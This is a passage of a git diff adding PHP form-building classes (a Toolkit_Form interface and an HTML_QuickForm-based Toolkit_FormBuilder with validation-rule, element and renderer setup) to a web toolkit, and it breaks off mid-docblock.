+     * @return string html templated datagrid results
+     * @access public 
+     */
+       public function toHtml(Structures_DataGrid_Renderer_Flexy $renderer)
+       {
+        $this->configureColumns();
+
+               try {
+                       $bind = $this->bind($this->sql, $this->options, 'PDO');
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+
+               if (PEAR::isError($bind)) {
+            return Toolkit_Common::handleError($bind);
+               }
+
+               if (method_exists($this, 'setControlObject')) {
+                       $this->setControlObject();
+                       foreach ($this->ctrlObj as $k => $v) {
+                               $renderer->$k = $v;
+                       }
+               }
+
+               $renderer->setOptions($this->rendererOptions);
+               $renderer->setOptions(array('pagerOptions' => $this->pagerOptions));
+
+               $this->attachRenderer($renderer);
+        $tpl = $renderer->getContainer();
+               $tpl->compile($this->template);
+
+               //      Get the entire datagrid body.
+               $gridBody = $this->getOutput();
+               if (PEAR::isError($gridBody)) {
+            return Tolkit_Common::handleError($gridBody);
+               }
+
+               return $gridSorter . $gridBody;
+       }
+               
+       //      }}}
+}
+?>
diff --git a/Toolkit/Form.php b/Toolkit/Form.php
new file mode 100644 (file)
index 0000000..e5c0238
--- /dev/null
@@ -0,0 +1,144 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * Define how form objects should be built
+ * 
+ * PHP version 5
+ * 
+ * @category  Form
+ * @package   Toolkit_Form
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   CVS: $Id: Form.php,v 1.1.1.1 2009/09/17 20:08:55 matrix Exp $
+ * @link      http://demo.gaslightmedia.com/
+ */
+
+/**
+ * Minimum form object method definitions
+ * 
+ * Each form must at least define some elements and setup the rules for
+ * that form.  They must also create a method which handless extracting
+ * the form object into an html string suitable to be displayed onto a
+ * page.
+ * 
+ * @category  Form
+ * @package   Toolkit_Form
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com/
+ */
+interface Toolkit_Form
+{
+    //  {{{ configureElements()
+
+    /**
+     * Defines all elements to be used in a form
+     *
+     * Creates an array of elements and passes them off to the setupElements
+     * function wich adds each element to the form object.
+     * 
+     * <code>
+     * public function configureElements()
+     * {
+     *   $e = array();
+     *
+     *   $e[] = array(
+     *     'type'    => 'text',
+     *     'req'     => false
+     *     'name'    => 'text_field',
+     *     'display' => 'Text Label',
+     *   );
+     *   $e[] = array(
+     *     'type'    => 'checkbox',
+     *     'req'     => false
+     *     'name'    => 'checkbox_field',
+     *     'display' => 'Checkbox Label',
+     *   );
+     *
+     *   // ... More Element Definitions
+     *
+     *   $this->setupElements($e);
+     * }
+     * </code>
+     * 
+     * @access public
+     * @return void
+     */
+    //public function configureElements();
+
+    //  }}}
+    //  {{{ configureForm()
+
+    /**
+     * Calls all the configuration methods to configure a form for use
+     * 
+     * @access public
+     * @return void
+     */
+    //public function configureForm();
+
+    //  }}}
+    //  {{{ configureRules()
+
+    /**
+     * Defines all element rules to be used for validation in the form
+     * 
+     * At the bare minimum, this function needs to be called to setup the
+     * form rules, even if no extra rules are defined.  Because it still
+     * creates all the required rules that are defined w/ each element.
+     *
+     * <code>
+     * public function configureRules()
+     * {
+     *   $r = array();
+     *
+        *   $r[] = array(
+     *     'element'    => 'text_field',
+        *     'message'    => 'ERROR: 10 characters max!',
+        *     'type'       => 'maxlength',
+        *     'format'     => 10,
+        *     'validation' => $this->validationType,
+        *     'reset'      => true,
+        *     'force'      => false,
+     *   );
+        *   $r[] = array(
+     *     'element'    => 'text_field',
+        *     'message'    => 'ERROR: Numric characters only!',
+        *     'type'       => 'numeric',
+        *     'format'     => null,
+        *     'validation' => $this->validationType,
+        *     'reset'      => true,
+        *     'force'      => false,
+     *   );
+     *
+     *   // ... More Rule Definitions
+     *
+     *   $this->setupRules($r);
+     * }
+     * </code>
+     * 
+     * @access public
+     * @return void
+     */
+    public function configureRules();
+
+    //  }}}
+    //  {{{ toHtml()
+
+    /**
+     * Get an html string that contains the form
+     * 
+     * Check if the form needs to be validated (ie. it was submitted)
+     * Check if submitted data needs to be processed
+     * 
+     * @access public
+     * @return string an html string that contains the entire form
+     */
+    public function toHtml();
+
+    //  }}}
+}
+?>
diff --git a/Toolkit/FormBuilder.php b/Toolkit/FormBuilder.php
new file mode 100644 (file)
index 0000000..3f51aad
--- /dev/null
@@ -0,0 +1,1183 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * File Doc Comment
+ *
+ * PHP version 5
+ *
+ * @category Forms
+ * @package  Toolkit_FormBuilder
+ * @author   Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @license     http://www.gaslightmedia.com Gaslightmedia
+ * @version  CVS: $Id: FormBuilder.php,v 1.2 2009/12/15 20:18:15 jamie Exp $
+ * @link        http://demo.gaslightmedia.com
+ */
+
+/**
+ * Allow the inclusion of the Element Grid plugin for QuickForms
+ */
+require_once 'HTML/QuickForm/ElementGrid.php';
+
+/**
+ * Handle QuickForm CAPTCHA's
+ */
+require_once 'HTML/QuickForm/CAPTCHA/Image.php';
+
+/**
+ * Require PEAR QuickForm class
+ */
+require_once 'HTML/QuickForm.php';
+
+require_once 'HTML/QuickForm/Rule/Zip.php';
+require_once 'HTML/QuickForm/Rule/Phone.php';
+require_once 'HTML/QuickForm/Rule/Banwords.php';
+require_once 'HTML/QuickForm/Rule/State.php';
+
+/**
+ * Base functionality for creating HTML_Quickforms
+ *
+ * @category  Forms
+ * @package      Toolkit_FormBuilder
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2008 Gaslight Media
+ * @license      http://www.gaslightmedia.com Gaslightmedia
+ * @link         http://demo.gaslightmedia.com
+ */
+abstract class Toolkit_FormBuilder extends HTML_QuickForm
+{
+       //      {{{     properties
+
+    /**
+     * Global form captcha question element
+        *
+     * @var object
+     * @access protected
+     */
+       protected $captchaQuestion;
+
+    /**
+     * Global form captcha answer from user
+        *
+     * @var object
+     * @access protected
+     */
+       protected $captchaAnswer;
+
+    /**
+     * Form submitted data used when emailing form results
+        *
+     * @var array
+     * @access protected
+     */
+       protected $formData = array();
+
+       /**
+        * Automatically create validation rules for any date elements
+        *
+        * This will only work if the date element is in m-d-Y format
+        *
+        * @var boolean
+        * @access protected
+        */
+       protected $autoValidateDateElements = true;
+
+       /**
+        * How do we want to validate the form
+        *
+        * Possible options are [server, client]
+        *
+        * @var string
+        * @access protected
+        */
+       protected $validationType = 'server';
+
+       /**
+        * What do you want the error msg to be if the form doesn't validate
+        *
+        * @var string
+        * @access protected
+        */
+       protected $errorMsg
+        = '<div id="form-warning-top">
+                Warning: The form was not sent, please review the errors below.
+           </div>';
+
+       /**
+        * What do you want the success msg to be if the form validates successfully
+        *
+        * @var string
+        * @access protected
+        */
+       protected $successMsg
+        = '<div id="form-success-top">
+                The information below has been successfully submitted.
+           </div>';
+
+       /**
+        * Whether uploaded files should be processed too (if present)
+        *
+        * @var string
+        * @access protected
+        */
+       protected $mergeFiles = true;
+
+    /**
+     * Include a captcha on the form or not
+        *
+     * @var    boolean
+     * @access protected
+     */
+       protected $useCaptcha;
+
+       /**
+        * The default templates to inject into the form renderer
+        *
+        * @var string
+        * @access protected
+        */
+       protected $template;
+
+       /**
+        * The default rules to register for validating
+        *
+        * We have to register these rules, or any others we want, before
+        * we are able to use them in our forms.
+        *
+        * These rules can be removed in subclasses before the rules are configured
+        * if you want to omit any of them from validating input - just remember
+        * to not call them in your configured rules!
+        *
+        * Phone: validates input against US and CA style phone #'s
+        * <code>
+        * $rules[] = array('element'    => 'phone',
+        *                  'message'    => 'ERROR: Invalid Phone Format!',
+        *                  'type'       => 'phone',
+        *                  'format'     => null,
+        *                  'validation' => $this->validationType,
+        *                  'reset'      => true,
+        *                  'force'      => false);
+        * </code>
+        *
+        * Zip: Validates input against US and CA zip codes, if DB check is
+        *      set to true, validate zip codes against all the zip codes in the
+        *      DB.
+        * <code>
+        * $rules[] = array('element'    => 'zip',
+        *                  'message'    => 'ERROR: Invalid Zip!',
+        *                  'type'       => 'zip',
+        *                  'format'     => array('requireDBCheck' => true),
+        *                  'validation' => $this->validationType,
+        *                  'reset'      => true,
+        *                  'force'      => false);
+        * </code>
+        *
+        * Banwords: Make sure each each doesn't contain a banned word. Checking
+        *           against a DB of banned words.
+        *
+        * State: Validate input against US and CA region / province codes.  If DB
+        *        check is set to true, validate region / province against all the
+        *        regions / provinces in the DB.
+        * <code>
+        * $rules[] = array('element'    => 'state_id',
+        *                  'message'    => 'ERROR: Invalid State / Province!',
+        *                  'type'       => 'state',
+        *                  'format'     => array('requireDBCheck' => true),
+        *                  'validation' => $this->validationType,
+        *                  'reset'      => true,
+        *                  'force'      => false);
+        * </code>
+        *
+        * @var array
+        * @access protected
+        * @see app.gaslightmedia.com/glmPEAR/HTML/QuickForm/Rule/Zip.php
+        * @see app.gaslightmedia.com/glmPEAR/HTML/QuickForm/Rule/Phone.php
+        * @see app.gaslightmedia.com/glmPEAR/HTML/QuickForm/Rule/Banwords.php
+        * @see app.gaslightmedia.com/glmPEAR/HTML/QuickForm/Rule/State.php
+        */
+       protected $registeredRules = array('phone', 'zip', 'state');
+
+       //      }}}
+       //      {{{     __construct()
+
+       /**
+        * Class constructor
+        *
+     * @param string $formName    Form's name.
+     * @param string $method      (optional)Form's method defaults to 'POST'
+     * @param string $action      (optional)Form's action
+     * @param string $target      (optional)Form's target defaults to '_self'
+     * @param mixed  $attributes  (optional)Extra attributes for <form> tag
+     * @param bool   $trackSubmit (optional)Whether to track if the form was
+        *                                                        submitted by adding a special hidden field
+        *
+        * @access public
+        * @link http://pear.php.net/package/HTML_QuickForm/docs/latest/HTML_QuickForm/HTML_QuickForm.html
+        * @see HTML_QuickForm
+     * @todo Remove assigning the dbh the global dbh and setup a PDO
+     *       to be passed in from a parameter - this will allow for easier
+     *       PHPUnit testing
+        */
+       public function __construct(
+        $formName,
+        $method = 'post',
+        $action = '',
+        $target = '',
+        $attributes = null,
+        $trackSubmit = false
+    ) {
+               //      T_VARIABLE error when passing this server
+               //      var in on the constructors params.
+        $action = empty($action) ? $_SERVER['REQUEST_URI'] : $action;
+               parent::__construct(
+            $formName,
+            $method,
+            $action,
+            $target,
+            $attributes,
+            $trackSubmit
+        );
+               $this->template = BASE . 'templates/forms/';
+               $this->dbh      = Toolkit_Database::getInstance();
+       }
+
+       //      }}}
+       //      {{{ __destruct()
+
+    /**
+     * Destructor
+     *
+     * @return void
+     * @access public
+     * @todo remove the need to unset any dbh's, they should be passed in
+     *       via parameters if they are needed.
+     */
+       public function __destruct()
+       {
+       }
+
+       //      }}}
+
+       //      {{{     addCharLimit()
+
+       /**
+        * adds a maxlength character limitation to an element
+     *
+     * @param string  $element The name of the element to add
+     *                         the char limit to
+     * @param integer $limit   The number of characters allowed
+        *
+        * @return void
+        * @access public
+        */
+       public function addCharLimit($element, $limit)
+       {
+               $this->addRule(
+            $element,
+            "ERROR: $limit characters max!",
+            'maxlength',
+            $limit,
+            'server'
+        );
+               //      Add a maxlength attribute to the field on the form
+               //      which will help prevent users from sending over 100 chars
+               //      to the server in the first place.
+               if ($this->getElementType($element) == 'text') {
+                       $e =& $this->getElement($element);
+                       $e->setMaxLength($limit);
+               }
+       }
+
+       //      }}}
+       //      {{{     apiVersion()
+
+       /**
+        * Returns the current FormBuilder API version
+        *
+        * @since 1.10
+        * @access public
+        * @return float
+        */
+       public function version()
+       {
+               return 1.1;
+       }
+
+       //      }}}
+
+       //      {{{     checkDateInput()
+
+    /**
+     * Checks the validation of a m-d-Y date
+        *
+        * This function will only be called if the autoValidateDateElements
+        * property is set to true.
+     *
+     * @param array $value Date element from form.
+        *
+     * @return boolean
+     * @access public
+        * @see Toolkit_FormBuilder->autoValidateDateElements
+     */
+       public function checkDateInput($value)
+       {
+               if (   empty($value['m'])
+            || empty($value['d'])
+            || empty($value['Y'])
+        ) {
+                       return false;
+               }
+               return checkdate($value['m'], $value['d'], $value['Y']);
+       }
+
+       //      }}}
+       //      {{{     cleanElements()
+
+    /**
+     * Removes elements from form
+     *
+        * Loops through elements and if any names end in '_rmv' they are removed
+        * from the form object.
+     *
+        * Dynamically finds all elements on a form and removes any that
+        * end in '_rmv'.  This can be really usefull if you want to display
+        * from results after the form was successfully submitted and validated,
+        * but don't need to display any extra form elements initially displayed
+        * on the form (like email confirmation fields, or static instruction
+        * elements).
+        *
+     * @param array $elements Form elements.
+        *
+     * @return void
+     * @access protected
+     */
+       protected function cleanElements($elements)
+       {
+               if (is_array($elements)) {
+                       foreach ($elements as $e) {
+                               if ($e['type'] == 'group') {
+                                       $this->cleanGroup($e['name']);
+                               } elseif (preg_match('/^.+_rmv$/', $e['name'])) {
+                                       $this->removeElement($e['name']);
+                               }
+                       }
+               }
+       }
+
+       //      }}}
+       //      {{{     cleanForm()
+
+    /**
+     * Removes elements from form
+        *
+        * Dynamically finds all elements on a form and removes any that
+        * end in '_rmv'.  This can be really usefull if you want to display
+        * from results after the form was successfully submitted and validated,
+        * but don't need to display any extra form elements initially displayed
+        * on the form (like email confirmation fields, or static instruction
+        * elements).
+     *
+     * @return void
+     * @access protected
+     */
+       protected function cleanForm()
+       {
+               $formArray = $this->toArray();
+               if (array_key_exists('sections', $formArray)) {
+                       foreach ($formArray['sections'] as $k) {
+                               if (preg_match('/^.+_rmv$/', $k['name'])) {
+                                       $this->removeElement($k['name']);
+                               }
+                               $this->cleanElements($k['elements']);
+                       }
+               } else {
+                       $this->cleanElements($formArray['elements']);
+               }
+       }
+
+       //      }}}
+       //      {{{     cleanGroup()
+
+    /**
+     * Removes any elements from a group that have names that end in '_rmv'
+     *
+     * @param string $name The name of the group element
+        *
+     * @return void
+     * @access protected
+     */
+       protected function cleanGroup($name)
+       {
+               $e =& $this->getElement($name);
+               $g =& $e->getElements();
+               $i = 0;
+               while ($name = $e->getElementName($i++)) {
+                       if (preg_match('/^.+_rmv/', $name)) {
+                               unset($g[($i - 1)]);
+                       }
+               }
+       }
+
+       //      }}}
+       //      {{{     createGridElement()
+
+    /**
+     * Creates a grid element for the form
+     *
+        * Written so this can be overridden easily in subclasses later if needed!
+     *
+     * @param string $elementType QuickForm ElementGrid element definition
+        *
+     * @return mixed ElementGrid element.
+     * @access protected
+     */
+       protected function &createGridElement($elementType)
+       {
+               $args = func_get_args();
+               return call_user_func_array(array($this, 'createElement'), $args);
+
+       }
+
+       //      }}}
+
+       //      {{{     prepElement()
+
+       /**
+        * Make sure all the element array indexes are set
+        *
+        * @param array &$e Element to prep
+        *
+        * @return void
+        * @access protected
+        */
+       protected function prepElement(&$e)
+       {
+               if (!isset($e['opts'])) {
+                       $e['opts'] = '';
+               }
+               if (!isset($e['att'])) {
+                       $e['att'] = '';
+               }
+               if (!isset($e['val'])) {
+                       $e['val'] = '';
+               }
+               if (!isset($e['display'])) {
+                       $e['display'] = '';
+               }
+               if (!isset($e['label'])) {
+                       $e['label'] = '';
+               }
+               if (!isset($e['noCharLimit'])) {
+                       $e['noCharLimit'] = false;
+               }
+       }
+
+       //      }}}
+
+       //      {{{     registerRules()
+
+    /**
+     * Registers custom form rules you can use when validating
+        *
+        * If the registeredRule token is an array, any QF rule can be
+        * registered. This is useful if you want to register rules
+        * from outside classes
+        * e.g. (Validate, Validate_US, Validate_CA, etc...).
+     *
+        * This will set up a rule called 'checkEmail' which uses the
+        * Validate::email() function.
+        * you can still pass in parameters to this rule if you pass them in
+        * via the 'format' option when you are defining your rules.
+        * <code>
+        * class exampleClass
+        * {
+        *     $registeredRules = array(
+        *             array(
+        *             'checkEmail',
+        *             'callback',
+        *             'email',
+        *             'Validate'
+        *         )
+        *     );
+        *
+        *     // ... Rest of your class code
+        *
+        *     public function configureRules()
+        *     {
+        *         $r = array();
+        *
+        *         $r[] = array(
+        *                      'element'    => 'process_email',
+        *                      'message'    => 'ERROR: Invalid email format!',
+        *                      'type'       => 'checkEmail',
+        *                      'format'     => array('use_rfc822' => true),
+        *                      'validation' => $this->validationType,
+        *                      'reset'      => false,
+        *                      'force'      => false
+        *         );
+        *
+        *         $this->setupRules($r);
+        *      }
+        *
+        *      // ... Rest of your class code
+        * }
+        * </code>
+        *
+        * If the registeredRule is a string, the corresponding rule in the
+        * glmPEAR/HTML/QuickForm/Rule/ directory will be registered with
+        * the form.
+        *
+        * This will set up the 'phone' rule already defined in the
+        * glmPEAR/HTML/QuickForm/Rule directory which validates both
+        * US and Canadian phone numbers
+        * <code>
+        * class exampleClass
+        * {
+        *     $registeredRules = array('phone');
+        *
+        *     // ... Rest of your class code
+        *
+        *     public function configureRules()
+        *     {
+        *         $r = array();
+        *
+        *         $r[] = array(
+        *                      'element'    => 'phone',
+        *                      'message'    => 'ERROR: Invalid number (xxx) xxx-xxxx!',
+        *                      'type'       => 'phone',
+        *                      'format'     => null,
+        *                      'validation' => $this->validationType,
+        *                      'reset'      => false,
+        *                      'force'      => false
+        *         );
+        *
+        *         $this->setupRules($r);
+        *      }
+        *
+        *      // ... Rest of your class code
+        * }
+        * </code>
+     *
+     * @return void
+     * @access protected
+     */
+       protected function registerRules()
+       {
+               if (is_array($this->registeredRules)) {
+                       foreach ($this->registeredRules as $r) {
+                               if (is_array($r)) {
+                                       call_user_func_array(array(&$this, 'registerRule'), $r);
+                               } else {
+                                       //      Don't nedd to register rules more than once
+                                       if (!$this->isRuleRegistered($r)) {
+                                               $this->registerRule($r, null, "HTML_QuickForm_Rule_$r");
+                                       }
+                               }
+                       }
+               }
+       }
+
+       //      }}}
+
+       //      {{{     setAutoValidateDateElements()
+
+    /**
+     * Set if we need to auto validate the Date Elements
+     *
+     * @param boolean $validate true/false to auto validate date elements
+     *
+     * @return void
+     * @access public
+     */
+       public function setAutoValidateDateElements($validate)
+       {
+        $this->autoValidateDateElements = $validate;
+       }
+
+       //      }}}
+       //      {{{     setFormData()
+
+    /**
+     * Sets the submitted values from the form
+     *
+        * Set these values into an internal variable so they will be accessible
+        * anywhere we need them in the form.
+     *
+     * @param array $exclude (optional) Any element names you don't want
+        *                                               included. Since this is primarily used in
+        *                                               emailing, this is helpful to exclude any data
+        *                                               we don't want before the array is generated.
+        *
+     * @return void
+     * @access protected
+     */
+       protected function setFormData(array $exclude = array())
+       {
+               $values = $this->getSubmitValues();
+               foreach ($values as $k => $v) {
+                       if ($this->elementExists($k)) {
+                               $e =& $this->getElement($k);
+                               if (!in_array($e->getName(), $exclude)) {
+                                       switch ($e->getType()) {
+                                       case 'date' :
+                                               list($m, $d, $y) = array_values($e->getValue());
+                                               //      If all the date fields are empty, then don't add
+                                               //      the output to the formData.
+                                               if (!(empty($m[0]) && empty($d[0]) && empty($y[0]))) {
+                                                       $this->formData[$e->getName()]['label']
+                                = $e->getLabel();
+
+                                                       $oldDate = $e->getValue();
+                                                       $newDate = Toolkit_Common::arrayFlatten(
+                                $oldDate,
+                                0,
+                                $newDate
+                            );
+
+                                                       $this->formData[$e->getName()]['element']
+                                = implode(' / ', $newDate);
+                                                       unset($oldDate, $newDate);
+                                               }
+                                               break;
+
+                                       case 'group':
+                                               $e->freeze();
+                                               $this->formData[$e->getName()]['label']   = $e->getLabel();
+                                               $this->formData[$e->getName()]['element'] = $e->toHtml();
+                                               break;
+
+                                       case 'select' :
+                                               $this->formData[$e->getName()]['label'] = $e->getLabel();
+
+                                               $values = $e->getValue();
+                                               foreach ($values as $v) {
+                                                       $this->formData[$e->getName()]['element'] .= $v;
+                                               }
+                                               break;
+
+                                       default :
+                                               $this->formData[$e->getName()]['label']   = $e->getLabel();
+                                               $this->formData[$e->getName()]['element'] = $e->getValue();
+                                               break;
+                                       }
+                               }
+                       }
+               }
+       }
+
+       //      }}}
+       //      {{{     setupConstants()
+
+    /**
+     * Sets the form constant values
+     *
+     * @param array $constants Associative array of form constant values.
+        *
+     * @return void
+     * @access protected
+     */
+       protected function setupConstants($constants)
+       {
+               $this->setConstants($constants);
+       }
+
+       //      }}}
+       //      {{{     setupDefaults()
+
+    /**
+     * Sets the form default values
+     *
+     * @param array $defaults Associative array of form default values.
+        *
+     * @return void
+     * @access protected
+     */
+       protected function setupDefaults($defaults)
+       {
+               $this->setDefaults($defaults);
+       }
+
+       //      }}}
+       //      {{{ setupElements()
+
+    /**
+     * Sets up all the elements to the form
+     *
+        * Takes a multi-dimensional array of form elements and uses them
+        * to set up the form objects elements
+     *
+     * @param array $elements Multi-Dimensional array of form elements.
+        *
+     * @return void
+     * @access protected
+     */
+       protected function setupElements($elements)
+       {
+               if (!is_array($elements)) {
+                       return;
+               }
+               foreach ($elements as &$e) {
+                       $this->prepElement($e);
+                       switch ($e['type']) {
+                       case 'group' :
+                               if (is_array($e['group']) && !empty($e['group'])) {
+                                       //      Special rendering for grouped elements.
+                                       unset($field);
+                                       foreach ($e['group'] as $g) {
+                                               $this->prepElement($g);
+                                               $field[] =& HTML_QuickForm::createElement(
+                            $g['type'],
+                            $g['name'],
+                            $g['display'],
+                            $g['opts'],
+                            $g['att'],
+                            $g['val']
+                        );
+                                       }
+                                       $source =& $this->addGroup(
+                        $field,
+                        $e['name'],
+                        $e['label'],
+                        $e['seperator'],
+                        $e['appendName']
+                    );
+                               }
+                               break;
+
+                       case 'elementGrid' :
+                               $source =& $this->addElement(
+                    $e['type'],
+                    $e['name'],
+                    $e['display'],
+                    $e['opts'],
+                    $e['att'],
+                    $e['val']
+                );
+                               unset($columnNames);
+
+                               //      Loop through the rows (r) and columns (c)
+                               //      to add each of the elements to our grid.
+                               foreach ($e['group'] as $k => $r) {
+                                       unset($set, $rowTitle);
+                                       foreach ($r as $c) {
+                                               $columnNames[$c['display']] = $c['display'];
+
+                                               $set[] =& $this->createGridElement(
+                            $c['type'],
+                            $c['name'],
+                            null,
+                            $c['opts'],
+                            $c['att']
+                        );
+                                       }
+                                       $rowTitle = is_int($k) ? '&nbsp;' : $k;
+                                       $source->addRow(&$set, $rowTitle);
+                               }
+
+                               $source->setColumnNames($columnNames);
+                               break;
+
+                       default :
+                               //      Render all elements except groups
+                               try {
+                                       $source =& $this->addElement(
+                        $e['type'],
+                        $e['name'],
+                        $e['display'],
+                        $e['opts'],
+                        $e['att'],
+                        $e['val']
+                    );
+
+                                       if (PEAR::isError($source)) {
+                                               throw new Exception ('PEAR QuickForm Element Error');
+                                       }
+                               } catch (HTML_QuickForm_Error $e) {
+                                       Toolkit_Common::dieGracefully(null, $e);
+                               } catch (Exception $e) {
+                                       Toolkit_Common::handleError($e);
+                               }
+
+                               if ($e['type'] == 'advmultiselect') {
+                                       $source->setLabel($e['labels']);
+                               }
+                               if ($e['name'] == 'categories') {
+                                       $res = $source->loadArray($this->categories);
+                                       if (PEAR::isError($res)) {
+                                               Toolkit_Common::dieGracefully(null, $res);
+                                       }
+                               }
+                               if ($e['type'] == 'header') {
+                                       $this->formHeaders[$e['display']] = $e;
+                               }
+
+                               if ($e['name'] == 'captcha_rmv') {
+                                       $this->captchaAnswer =& $source;
+                               }
+
+                               if ($e['name'] == 'captcha_question') {
+                                       $this->captchaQuestion =& $source;
+                               }
+                               break;
+                       }
+               }
+               $this->formElements = $elements;
+       }
+
+       //      }}}
+       //      {{{     setupFilters()
+
+    /**
+     * Sets any filters needed for the form elements when submitting
+     *
+     * @param array $filters Element filters.
+        *
+        * @return void
+     * @access protected
+     */
+       protected function setupFilters($filters)
+       {
+               foreach ($filters as $f) {
+                       $res = $this->applyFilter($f['element'], $f['filter']);
+
+            if (PEAR::isError($res)) {
+                Toolkit_Common::handleError($res);
+            }
+               }
+       }
+
+       //      }}}
+       //      {{{ setupRules()
+
+       /**
+        * Apply rules to the form
+        *
+        * 100 & 1000 char length limitations are automatically assigned to
+        * text/textarea elements to help reduce load limitations on the server.
+        * -request per Chuck in a conference call on (5/22/2009 @ 12:15pm)
+        *
+        * Applies rules that are defined in child classes to the form elements
+        * group rules can be kind of tricky, since you can't apply a rule
+        * directly to an element inside of a rule you have to define
+        * the rule inside a nest of array's and then add a group rule.
+        * the array will contain all the elements inside the group you wish
+        * to apply rules to.
+        *
+        * You can assign as many rules as you would like to individual elements,
+        * and you aren't required to make the array associative, although it is
+        * easier to see whats going on.
+        *
+        * see: http://pear.activeventure.com/package/package.html.html-quickform.html-quickform.addgrouprule.html
+        * for another example.
+        * <code>
+        * //   Define the rules for each element in the group.
+        * $num_rule = array(
+     *   'ERROR: Must contain a valid decimal number!',
+     *   'numeric'
+     * );
+        * //   Collect together the rules for each element.
+        * $lat_rules = array('lat' => array($num_rule));
+        * $lon_rules = array('lon' => array($num_rule));
+        * $r[] = array(
+     *   'element'    => 'latitude',
+        *   'message'    => 'ERROR:',
+        *   'type'       => 'group',
+        *   'format'     => $lat_rules,
+        *   'validation' => $this->validationType,
+        *   'reset'      => false,
+        *   'force'      => false
+     * );
+        * </code>
+        *
+        * To make a group required but not require every element in the group
+        * you can use the addGroupRule function again
+        * for example:  say you have a group of checkboxes and you only only
+        * require 1 be checked.  a simple group rule such as the following
+        * will handle this.
+        * N.B. notice the extra "howMany" index.
+        * <code>
+        * $r[] = array(
+     *   'element'   => 'element_name',
+        *   'message'   => 'ERROR: Error to display!',
+        *   'type'      => 'required',
+        *   'format'    => null,
+        *   'howMany'   => 1,
+        *   'validation'=> $this->validationType,
+        *   'reset'     => true,
+        *   'force'     => false,
+     * );
+        * </code>
+        *
+        * @param array $rules Multi-Dimensional array of rules for form elements.
+        *
+        * @return void
+        * @access protected
+        */
+       protected function setupRules(array $rules = null)
+       {
+               $this->registerRules();
+               $preRegisteredRules = $this->getRegisteredRules();
+               if (is_array($this->formElements)) {
+                       foreach ($this->formElements as $e) {
+                               //      Put length limitations on text and textarea fields
+                               if ($e['type'] == 'text' && !$e['noCharLimit']) {
+                                       $this->addCharLimit($e['name'], 100);
+                               } elseif ($e['type'] == 'textarea' && !$e['noCharLimit']) {
+                                       $this->addCharLimit($e['name'], 1000);
+                               } elseif ($e['type'] == 'group') {
+                                       //      We need to apply these same limitations to the
+                                       //      text and textarea fields inside of groups
+                                       $r = array();
+                    if (is_array($e['group'])) {
+                        foreach ($e['group'] as $i) {
+                            // Loop through group elements and if they are
+                            // text/textarea fields then put the field into
+                            // a rule array that we will assign to the group
+                            if ($i['type'] == 'text') {
+                                $r[$i['name']][] = array(
+                                    'ERROR: 100 characters max!',
+                                    'maxlength'
+                                );
+                            } elseif ($i['type'] == 'textarea') {
+                                $r[$i['name']][] = array(
+                                    'ERROR: 1000 characters max!',
+                                    'maxlength'
+                                );
+                            }
+                        }
+                    }
+                                       if (!empty($r)) {
+                                               $this->addGroupRule($e['name'], $r);
+                                       }
+                               }
+                               if ($this->validationType == 'client') {
+                                       $label = $e['display'];
+                               }
+                               if ($e['req']) {
+                                       if ($e['type'] == 'group') {
+                                               foreach ($e['group'] as $ge) {
+                                                       if ($ge['req']) {
+                                                               $rule[$ge['name']][] = array(
+                                                                               'ERROR: You must complete this field!',
+                                                                               'required',
+                                                                               null,
+                                                                               $this->validationType);
+                                                       }
+                                               }
+                                               $this->addGroupRule($e['name'], $rule);
+                                               unset($rule);
+                                       } elseif ($e['type'] == 'date') {
+                        if (!empty($e['error'])) {
+                            //  Custom error message for the date element.
+                            $error = $e['error'];
+                        } else {
+                            //  Default error message for the date element.
+                            $error = 'ERROR: You must enter a date!';
+                        }
+                                               $this->addGroupRule(
+                            $e['name'],
+                            $error,
+                            'required',
+                            3,
+                            $this->validationType
+                        );
+                                               if ($this->autoValidateDateElements) {
+                                                       $this->addRule(
+                                $e['name'],
+                                'ERROR: Date is invalid!',
+                                'callback',
+                                array(&$this, 'checkDateInput')
+                            );
+                                               }
+                                       } else {
+                                               $this->addRule(
+                            $e['name'],
+                            "$label ERROR: You must complete this field!",
+                            'required',
+                            null,
+                            $this->validationType
+                        );
+                                       }
+                               }
+                       }
+               }
+               if (is_array($rules)) {
+                       foreach ($rules as $r) {
+                               if (!is_array($r['element'])) {
+                                       $group = ($this->getElementType($r['element']) == 'group');
+                               }
+                               if ($group) {
+                                       $this->addGroupRule(
+                        $r['element'],
+                        $r['message'],
+                        $r['type'],
+                        $r['format'],
+                        $r['howMany'],
+                        $r['validation'],
+                        $r['reset']
+                    );
+                               } elseif (in_array($r['type'], $preRegisteredRules)) {
+                                       $this->addRule(
+                        $r['element'],
+                        $r['message'],
+                        $r['type'],
+                        $r['format'],
+                        $r['validation'],
+                        $r['reset'],
+                        $r['force']
+                    );
+                               }
+                       }
+               }
+       }
+
+       //      }}}
+       //      {{{     setupRenderers()
+
+    /**
+     * Sets up renderers for form objects
+     *
+        * Uses the default form renderer to allow templates to be injected
+        * into the form object before displaying on a page.  This allows
+        * changing the face of the form w/ out any backend adjustment.
+        *
+        * Files that can be created for templates are
+        *
+        * Examples:
+        * # Element.tpl
+        * <code>
+        * <tr>
+        *   <td class="labelcell">
+        *     <!-- BEGIN required -->
+        *     <span class="required">*</span>
+        *     <!-- END required -->
+        *     <label> {label} </label>
+        *   </td>
+        *   <td class="fieldcell">
+        *     <!-- BEGIN error -->
+        *     <div class="req"> {error} </div>
+        *     <!-- END error -->
+        *     {element}
+        *   </td>
+        *</tr>
+        * </code>
+        *
+        * # Form.tpl
+        * <code>
+        *   <div id="contact">
+        *     <form{attributes}>
+        *       <table>
+        *         {content}
+        *       </table>
+        *     </form>
+        *   </div>
+        * </code>
+        *
+        * # GroupElement.tpl
+        * <code>
+        *   <tr>
+        *     <td>
+        *       {element}
+        *       <!-- BEGIN required -->
+        *       <span class="req">*</span>
+        *       <!-- END required -->
